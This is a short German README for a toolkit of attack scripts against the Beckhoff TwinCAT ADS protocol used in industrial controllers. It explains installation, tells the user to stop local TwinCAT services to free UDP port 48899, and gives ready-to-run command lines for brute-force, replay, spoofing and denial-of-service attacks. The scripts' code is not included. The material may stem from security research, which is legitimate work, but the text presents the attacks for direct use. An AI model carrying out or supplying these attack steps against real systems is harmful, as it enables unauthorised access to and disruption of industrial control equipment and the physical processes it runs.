Installation

Nmap-Skripte

1. Voraussetzungen:
    a. Nmap (Zenmap optional)
    b. ADS-Bibliothek (ads.lua) installiert
2. *ads-brute.nse* und *ads-replay.nse* in den Ordner *scripts* im Nmap-Verzeichnis kopieren

Python-Skripte

1. Voraussetzungen:
    a. Python v2.7 oder höher
2. *spoof.py* und *dos.py* in einen beliebigen Ordner kopieren

Hinweis

Alle Skripte senden Datenpakete von UDP-Port 48899! Damit dies gelingt, darf auf dem Rechner kein TwinCAT-Dienst aktiv sein. Der TwinCAT-Dienst kann mit folgenden Schritten vorübergehend deaktiviert werden:

- Task-Manager öffnen und *Dienste* anklicken
- Folgende Dienste (falls vorhanden) in dieser Reihenfolge abschalten:
    - TcNcl
    - TF330 Scope Server
    - TcEventLogger
    - TcSysSrv

Skriptaufruf

Brute-Force-Attacke: (in Kommandozeile)

```
nmap -sn --script ads-brute <ip>
```

Replay-Attacke: (in Kommandozeile)

```
nmap -sU --script ads-replay <ip> --script-args
"username=HASH,password=HASH,route=MyRoute,encrypted=1,netid=10.0.0.1.1.1"
```

Spoofing: (in Kommandozeile)

```
python spoof.py
```

Denial: (in Kommandozeile)

```
python dos.py
```